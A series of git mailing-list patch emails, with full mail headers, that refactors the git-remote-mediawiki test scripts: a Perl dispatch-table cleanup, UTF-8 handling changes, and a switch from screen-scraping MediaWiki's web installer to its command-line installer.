pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id BD103112E for ; Wed, 16 Sep 2020 12:34:24 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 9E1492224A for ; Wed, 16 Sep 2020 12:34:24 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="jD8Qy0Rh" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727260AbgIPMOC (ORCPT ); Wed, 16 Sep 2020 08:14:02 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51576 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726849AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wm1-x343.google.com (mail-wm1-x343.google.com [IPv6:2a00:1450:4864:20::343]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id D995CC0612F2 for ; Wed, 16 Sep 2020 03:30:10 -0700 (PDT) Received: by mail-wm1-x343.google.com with SMTP id l9so2425338wme.3 for ; Wed, 16 Sep 2020 03:30:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=GrSwXg1chwf57onYPkE0t51b6FsPqSH+dCG3ha5WJ0c=; b=jD8Qy0Rhj90EF4O3SJ3TgHfSFpz9i2h0QjB/VdgJcNR8RsYms9BHa8r81LsLl5rQTd 48ohKypWuxv7FB3jujPRq1W2QHK8dpYgWnUvOuxudo5FdD7znvHkuToqGArARxZYhDpE DctyT6ylNonwNvvDJkRriUuUSDrbbSzOHCj94N/h2UlHlVgi2Lyt//WwxgTwzkFvlHSH ZIdrEc63lK4bR/2vD3Ihk8j7KBY/gSlCDKg353N5K/gGAefjXgggznQ7Rcs6uqd3bI9N Olcw6O6MAlwL+qV/BNz2ROfSo4xoKeW9jZHkDXWGvdkeDaJQFcdkzHvFxIruDqieACf7 txEA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=GrSwXg1chwf57onYPkE0t51b6FsPqSH+dCG3ha5WJ0c=; b=TOQOkUZLqI0DB/MS+Z7wx0jvS7GwZbq56KNadH9Gs67jrCihQLMScXbH5poqeTaCI9 E2tJwypnzTw2fDL+VYz8KZmRZ/C99b/lr25HW6YBbbzkGtGQra7UNSTiHDnNJ/UhAS5E Ku+z6ZuDRhlBve/WVfAgQfw99Kjg/2lqnyTmCq+UVVomv7EI0KqlPFVt1xGXETSDtDPp PG49cn4KNMFFulsQPEWvfuskzyKdKzDyL8f7qCvkzvK0Xs6yyjcC35yshppWQVsOii9T jtdELZnv41j6kHw/s4RMn28VcaE7KXlL4WeNBgnpiw96PAjm0PXiHtoSYwI38s0v823h J39g== X-Gm-Message-State: AOAM5338E3jfkRWPbm85Q+E6I9YrAyF6FazGSJ2wtl5si/Q+cdD7Z4WG 5djD6o6B3R2KmGM+pQ/CkQIYCE8TbmcAjRFO X-Google-Smtp-Source: ABdhPJzqGgOkKpb+dDq4MtRAoiFv1fxNmptngZ3gOfx3xugyTnqaR1TXnlNWrdO62AjkAYoYm+7A+A== X-Received: by 2002:a1c:b407:: with SMTP id d7mr4187500wmf.59.1600252209342; Wed, 16 Sep 2020 03:30:09 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.08 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:08 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 10/15] remote-mediawiki tests: use a more idiomatic dispatch table Date: Wed, 16 Sep 2020 12:29:13 +0200 Message-Id: <20200916102918.29805-11-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change the dispatch table code in test-gitmw.pl to use a hash where subroutine references are the values. This is more obvious than a hash where the values are strings we'll use to go searching around in the symbol table for the function. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test-gitmw.pl | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl index 0ff76259fa..afc4650b1a 100755 --- a/contrib/mw-to-git/t/test-gitmw.pl +++ b/contrib/mw-to-git/t/test-gitmw.pl @@ -214,12 +214,12 @@ sub wiki_upload_file { wiki_login($wiki_admin, $wiki_admin_pass); -my %functions_to_call = qw( - upload_file wiki_upload_file - get_page wiki_getpage - delete_page wiki_delete_page - edit_page wiki_editpage - getallpagename wiki_getallpagename +my %functions_to_call = ( + upload_file => \&wiki_upload_file, + get_page => \&wiki_getpage, + delete_page => \&wiki_delete_page, + edit_page => \&wiki_editpage, + getallpagename => \&wiki_getallpagename, ); die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call}; -&{$functions_to_call{$fct_to_call}}(@ARGV); +$functions_to_call{$fct_to_call}->(@ARGV); From patchwork Wed Sep 16 10:29:14 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779685 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id C29361709 for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id A4E5222240 for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="r6eE4jAi" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727445AbgIPMbK (ORCPT ); Wed, 16 Sep 2020 08:31:10 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51578 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726850AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wr1-x444.google.com (mail-wr1-x444.google.com [IPv6:2a00:1450:4864:20::444]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 08DCFC06121C for ; Wed, 16 Sep 2020 03:30:12 -0700 (PDT) Received: by mail-wr1-x444.google.com with SMTP id t10so6371295wrv.1 for ; Wed, 16 Sep 2020 03:30:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=RDM2O7VWYFIaZ7PVhSFc/SgOo/6wqi6bL2en5kNgxxU=; b=r6eE4jAi+WYnYfGyIQSZwHM+SbOG6jUhzphyFVWzIuqJhSJU1r96SET/37E8hYl/xt CFUtdUfoeunjIv/ObkiZHbjGGMogII82eXkgMrZ+695kOtUb1MVSzRY73RI3LmOXKjdn nqoa/XMBZfX9ltvJW4duXFD4UPAq05Ld17eJuVeTP+H7Uqohxm5Y9Gv9tXycr1yF9ISD KXuX3C+1lWTIQ0hS7G3fW3ELPQKKRs2IrH/yUbiSEnNy/spn8TTvCPs8wvlkzsrZMr+C S8LSCPnUAref6Kvn5AJ833D2SRKtnogsOdsRDO/zhMWdhRHSEnUj3rUv5b5pMd4UHsXk EpAQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=RDM2O7VWYFIaZ7PVhSFc/SgOo/6wqi6bL2en5kNgxxU=; b=OJYr7SnaHCh4LkKvOJpSfYliFMIbGmXKaHkx3YsKw0nGiBZxga0ITTF3bQ5yFahtP8 E16fSZ6jZ+putX+CqlAtKh5o9jKrDLVpBcqoZfthLpQuM7SFf33TKdOJzKGKLPSSzT7c IEw2Zju6WDdzSA0XqltT3X7jCJUKCjAABid8MQwrZbIabeeU7vEH/hhWQ4B2iKg5xnBL TcAF10WwsuT5foVCOXmdbg9S1lLVz7AiMXMP3z7Pjel2ii82e4/4HKX4Q7bDVsaYLqrq mVrowcdYZC9Bh/oYVcnwZuB4Z7ymB3lv03sEFQ/1W6u0vO9ITWAQmr/97hBZ29sKwHLl mcXA== X-Gm-Message-State: AOAM5318nACJGbiYvPl/jtMxM/afrczobxDaBQoz8CEnpCERbuCxjGWo SkjAZLs6UIdlog1nesnuHz5ULh/xECLgS/kA X-Google-Smtp-Source: ABdhPJzqTZGWlC1sUtkkW4ZC4yV9viJClBwRgiQ75WwNtn4sPqfjm/zy3A/7iMKB1nnKN1UMhC++Bg== X-Received: by 2002:adf:912b:: with SMTP id j40mr26055086wrj.42.1600252210493; Wed, 16 Sep 2020 03:30:10 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.09 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:09 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct Date: Wed, 16 Sep 2020 12:29:14 +0200 Message-Id: <20200916102918.29805-12-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org The use of the encoding pragma has been a hard error since Perl 5.18, which was released in 2013. What this script really wanted to do was to decode @ARGV and write out some files with the UTF-8 PerlIO layer. Let's just do that explicitly instead. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test-gitmw.pl | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl index afc4650b1a..71e5b06235 100755 --- a/contrib/mw-to-git/t/test-gitmw.pl +++ b/contrib/mw-to-git/t/test-gitmw.pl @@ -24,7 +24,6 @@ use MediaWiki::API; use Getopt::Long; -use encoding 'utf8'; use DateTime::Format::ISO8601; use open ':encoding(utf8)'; use constant SLASH_REPLACEMENT => "%2F"; @@ -222,4 +221,4 @@ sub wiki_upload_file { getallpagename => \&wiki_getallpagename, ); die "$0 ERROR: wrong argument" unless exists $functions_to_call{$fct_to_call}; -$functions_to_call{$fct_to_call}->(@ARGV); +$functions_to_call{$fct_to_call}->(map { utf8::decode($_); $_ } @ARGV); From patchwork Wed Sep 16 10:29:15 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779681 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 7604E92C for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 4BB1822241 for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="spujKA1/" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726681AbgIPMUK (ORCPT ); Wed, 16 Sep 2020 08:20:10 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51580 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726851AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wm1-x341.google.com (mail-wm1-x341.google.com [IPv6:2a00:1450:4864:20::341]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 2274FC06121D for ; Wed, 16 Sep 2020 03:30:13 -0700 (PDT) Received: by mail-wm1-x341.google.com with SMTP id x23so2234128wmi.3 for ; Wed, 16 Sep 2020 03:30:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=ZD6bk0tMCA49bNP+rQRBgjc4vQfzxXu+zU8Yd0pxDqk=; b=spujKA1/zBRb5J/h1AqQsGSYrzlgjPTLxfn9P1M29OPrjlxapQCIW45Tpbg2cKFSnL i5GINHN9xH+CXql0KkmWJMDFGLw0Q94fpPxWkpOuaQgkncfq8TGZxStYdevZ1IaHC73O A7jL/K/VQsdAjyfY5eQfYnL4xpvNWOqPSPjln8/032JtK9IQhBShlW2Tm+51I4+NppY5 AwWGgyS/Jdl/hGo5Yyycaug8GfVLG+COE+o/WKVKCJuF6BiNmJ53fOLHExe2S2Ym3QN4 bQ2C7x2iqnjKF0yFriwfsc2wKqSoDF8UFE1kRG1z1Y82TibsUaYZScfrFn46IBCqVFqg kX+g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=ZD6bk0tMCA49bNP+rQRBgjc4vQfzxXu+zU8Yd0pxDqk=; b=HtcmCyHQaSJBgsYRvJpLJc+CjRqSyWTvNNvexAxLi6uzxBCRf/Vc15f/KaZMHb3UMS qKOJ5af/lzyv/ZnLkriGjqNdntt4nEzitg0Qppu1EMxGU1EP3mTkeOiOu4AuGZEfaJi7 8cGJngOC9yt0XhpBmWad/yOg0jJY81CTXo7AIl/RaQFUWGbUFq/thpF7KLNBca3MGAEK wcxSK0AxlkqA2B+t+s6fK9Wqj1QW/UzoggP615Xckl+XLZnW4TMx2uqo3HYNmQZHjfo6 JZKM1j/0drrblgFTbpNeMOA1igMmIntzFzD2xDw2MnnJKtleKmW7bojjWUdmxkkvfj04 hMpQ== X-Gm-Message-State: AOAM531v++vueneHbmpn+EWw011gRTw36pQ5c6IVezy6FxnSagQkXvI8 GF/KN7KibORR/DA9gzElVs4O71IVHHNXkw0p X-Google-Smtp-Source: ABdhPJwRgRIWF3MxHAWPmce9UpUc4ATES/PmWWRX17+OBCpJE3xjkw1FLmmFlHR5mf2kvbVsK8xp0w== X-Received: by 2002:a1c:5641:: with SMTP id k62mr4192235wmb.13.1600252211528; Wed, 16 Sep 2020 03:30:11 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.10 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:10 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 12/15] remote-mediawiki tests: use inline PerlIO for readability Date: Wed, 16 Sep 2020 12:29:15 +0200 Message-Id: <20200916102918.29805-13-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Replace the use of the "open" pragma with a three-arg open in the places that actually care about UTF-8, while leaving those that don't (the config parsing). Unlike the previous "encoding" pragma change this isn't needed for compatibility with anything. I just think it's easier to read code that has localized effects than code that changes global settings. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test-gitmw.pl | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl index 71e5b06235..c5d687f078 100755 --- a/contrib/mw-to-git/t/test-gitmw.pl +++ b/contrib/mw-to-git/t/test-gitmw.pl @@ -25,7 +25,6 @@ use MediaWiki::API; use Getopt::Long; use DateTime::Format::ISO8601; -use open ':encoding(utf8)'; use constant SLASH_REPLACEMENT => "%2F"; #Parsing of the config file @@ -86,7 +85,7 @@ sub wiki_getpage { # Replace spaces by underscore in the page name $pagename =~ s/ /_/g; $pagename =~ s/\//%2F/g; - open(my $file, ">$destdir/$pagename.mw"); + open(my $file, ">:encoding(UTF-8)", "$destdir/$pagename.mw"); print $file "$content"; close ($file); @@ -171,7 +170,7 @@ sub wiki_getallpagename { cmlimit => 500 }, ) || die $mw->{error}->{code}.": ".$mw->{error}->{details}; - open(my $file, ">all.txt"); + open(my $file, ">:encoding(UTF-8)", "all.txt"); foreach my $page (@{$mw_pages}) { print $file "$page->{title}\n"; } @@ -184,7 +183,7 @@ sub wiki_getallpagename { aplimit => 500, }) || die $mw->{error}->{code}.": ".$mw->{error}->{details}; - open(my $file, ">all.txt"); + open(my $file, ">:encoding(UTF-8)", "all.txt"); foreach my $page (@{$mw_pages}) { print $file "$page->{title}\n"; } From patchwork Wed Sep 16 10:29:16 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779643 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id C6F5359D for ; Wed, 16 Sep 2020 12:04:35 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 9D01F2220E for ; Wed, 16 Sep 2020 12:04:35 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="oszC761+" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727103AbgIPLl2 (ORCPT ); Wed, 16 Sep 2020 07:41:28 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51652 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726853AbgIPKcq (ORCPT ); Wed, 16 Sep 2020 06:32:46 -0400 Received: from mail-wr1-x435.google.com (mail-wr1-x435.google.com [IPv6:2a00:1450:4864:20::435]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id BECAFC06121F for ; Wed, 16 Sep 2020 03:30:15 -0700 (PDT) Received: by mail-wr1-x435.google.com with SMTP id z1so6351570wrt.3 for ; Wed, 16 Sep 2020 03:30:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=zHDkqJLZeKQF8yQReUWnWDn8+qnjQHZOEQ3rzOZGjAQ=; b=oszC761+yoB6cJvqUY4cK37kF+OLBonZSQI7nt59OFFGs8QLoqYcDCsmpnsBv7vTt8 YXh5+bxlVY2ox8kmox2HppSuvNXfb7R/dbX52Bc560/y5j608bf4Wy4G1+tQQJDmwZsj XPmK506ImE65K9yFwidzOlEB9AFIi8830U1SmDjdJ2eOz1KHJQ40pOAIOYWpDEn0Jilx Mm/1K3CqjgqPZ7t8gDfuNQfmTKDtGwYA9FifJ67J2JbWIJz1A2Y2tIsW1EQ3+vymSpsV cfgqlmdYhnzGsTWhFMkM8AohT6CQYoVfgY+Zn9Cplz2yOgLI5a6dZOPtYGL490jjjrYH oaeQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=zHDkqJLZeKQF8yQReUWnWDn8+qnjQHZOEQ3rzOZGjAQ=; b=YueATwRBZj05eeJMEYJkdaGGCMapWMmSnwsRbgUxyL77lW4egpdQIZQCFDKVQdAOxf bcua4eNiL2mofxyKf098I6jGXbEDa35bnN5LIlc8XdahfWsZ6qDFv+FiTno23Bb6kDhi IuKTEzfnP752XS+oYjue5rsSKM06U2yoCgY8XmmpMLNXYzxPshTuPVyEH6Qsiq3VFqTJ 6N3ENUNLILyMiPbRESbg/WGVKdqrdpk6h36/Edzs6Ga8v0ZlwBlWdknoYbJqEbrnjmS1 uGvUjEBknaYNacXUMG3eKXAnOw5XhojwWqz6w9TkjeGngz1JWwNoQYZAlxLBiXP/GxAF UBNQ== X-Gm-Message-State: AOAM533u6b20ZVRN/vP65Gfmei2OsDZgqMo+fHE+LW+6hbx8vpXFDDXi UEioTV+va1LwrXXt0KNvbNHl4GIdUnl5+NEf X-Google-Smtp-Source: ABdhPJzzpGFNy/NL6gnGnRF2TVIKWKfFjp5cDTDI8wwW/LlWFn/wwGJIZUVUkQtB/thr7JkATdHgSw== X-Received: by 2002:adf:e6c7:: with SMTP id y7mr24532816wrm.147.1600252212551; Wed, 16 Sep 2020 03:30:12 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.11 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:11 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 13/15] remote-mediawiki tests: use CLI installer Date: Wed, 16 Sep 2020 12:29:16 +0200 Message-Id: <20200916102918.29805-14-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Replace the use of screen-scraping in the test environment installation with simply invoking MediaWiki's command-line installer. The old code being deleted here relied on our own hardcoded POST parameter names & the precise layout of MediaWiki's GUI installer at a given version. Somewhere between [1] and now this inevitably broke. As far as I can tell there was never a reason for this screen-scraping hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI installer was introduced in 1.17.0. Perhaps the authors weren't aware of it, or this code was written for an older version. This allows us to simply delete our own template version of LocalSettings.php, it'll instead be provided by the CLI installer. While we're at it let's fix a few things, these changes weren't practical to split up (I'd need to fix code I was about to mostly delete) * Use MediaWiki's own defaults where possible, e.g. before we'd name the database "wikidb.sqlite", now we'll simply use whatever name MediaWiki prefers (currently my_wiki.sqlite) by only supplying the directory name the SQLite file will be dropped into, not the full path. * Put all of our database & download assets into a new "mediawiki/" folder. This makes it easier to reason about as the current & template "backup" database the tests keep swapping around live next to each other. This'll also prevent future potential breakage as there isn't a single SQLite database. MediaWiki also creates a job queue database and a couple of cache databases. In practice it seems we got away with not resetting these when we reset the main database, but it's the sort of thing that could break in the future (reset, main store doesn't have the article, but the cache does). * The "delete" function now only deletes the MediaWiki installation & database, not the downloaded .tar.gz file. This makes us friendlier to a developer on a slow connection. 1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and clear a MediaWiki", 2012-07-06) Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/.gitignore | 2 +- contrib/mw-to-git/t/install-wiki/.gitignore | 1 - .../t/install-wiki/LocalSettings.php | 129 ---------------- .../mw-to-git/t/install-wiki/db_install.php | 120 --------------- contrib/mw-to-git/t/test-gitmw-lib.sh | 142 +++++++++--------- contrib/mw-to-git/t/test.config | 18 +-- 6 files changed, 78 insertions(+), 334 deletions(-) delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php diff --git a/contrib/mw-to-git/t/.gitignore b/contrib/mw-to-git/t/.gitignore index a7a40b4964..2b8dc30c6d 100644 --- a/contrib/mw-to-git/t/.gitignore +++ b/contrib/mw-to-git/t/.gitignore @@ -1,4 +1,4 @@ WEB/ -wiki/ +mediawiki/ trash directory.t*/ test-results/ diff --git a/contrib/mw-to-git/t/install-wiki/.gitignore b/contrib/mw-to-git/t/install-wiki/.gitignore deleted file mode 100644 index b5a2a4408c..0000000000 --- a/contrib/mw-to-git/t/install-wiki/.gitignore +++ /dev/null @@ -1 +0,0 @@ -wikidb.sqlite diff --git a/contrib/mw-to-git/t/install-wiki/LocalSettings.php b/contrib/mw-to-git/t/install-wiki/LocalSettings.php deleted file mode 100644 index 745e47e881..0000000000 --- a/contrib/mw-to-git/t/install-wiki/LocalSettings.php +++ /dev/null @@ -1,129 +0,0 @@ - and - * - */ -$argc = $_SERVER['argc']; -$argv = $_SERVER['argv']; - -$login = $argv[2]; -$pass = $argv[3]; -$tmp = $argv[4]; -$port = $argv[5]; - -$url = 'http://localhost:'.$port.'/wiki/mw-config/index.php'; -$db_dir = urlencode($tmp); -$tmp_cookie = tempnam($tmp, "COOKIE_"); -/* - * Fetches a page with cURL. - */ -function get($page_name = "") { - $curl = curl_init(); - $page_name_add = ""; - if ($page_name != "") { - $page_name_add = '?page='.$page_name; - } - $url = $GLOBALS['url'].$page_name_add; - $tmp_cookie = $GLOBALS['tmp_cookie']; - curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); - curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); - curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie); - curl_setopt($curl, CURLOPT_HEADER, true); - curl_setopt($curl, CURLOPT_URL, $url); - - $page = curl_exec($curl); - if (!$page) { - die("Could not get page: $url\n"); - } - curl_close($curl); - return $page; -} - -/* - * Submits a form with cURL. - */ -function submit($page_name, $option = "") { - $curl = curl_init(); - $datapost = 'submit-continue=Continue+%E2%86%92'; - if ($option != "") { - $datapost = $option.'&'.$datapost; - } - $url = $GLOBALS['url'].'?page='.$page_name; - $tmp_cookie = $GLOBALS['tmp_cookie']; - curl_setopt($curl, CURLOPT_URL, $url); - curl_setopt($curl, CURLOPT_POST, true); - curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); - curl_setopt($curl, CURLOPT_POSTFIELDS, $datapost); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); - curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie); - curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie); - - $page = curl_exec($curl); - if (!$page) { - die("Could not get page: $url\n"); - } - curl_close($curl); - return "$page"; -} - -/* - * Here starts this script: simulates the behavior of the user - * submitting forms to generates the database file. - * Note this simulation was made for the MediaWiki version 1.19.0, - * we can't assume it works with other versions. - * - */ - -$page = get(); -if (!preg_match('/input type="hidden" value="([0-9]+)" name="LanguageRequestTime"/', - $page, $matches)) { - echo "Unexpected content for page downloaded:\n"; - echo "$page"; - die; -}; -$timestamp = $matches[1]; -$language = "LanguageRequestTime=$timestamp&uselang=en&ContLang=en"; -$page = submit('Language', $language); - -submit('Welcome'); - -$db_config = 'DBType=sqlite'; -$db_config = $db_config.'&sqlite_wgSQLiteDataDir='.$db_dir; -$db_config = $db_config.'&sqlite_wgDBname='.$argv[1]; -submit('DBConnect', $db_config); - -$wiki_config = 'config_wgSitename=TEST'; -$wiki_config = 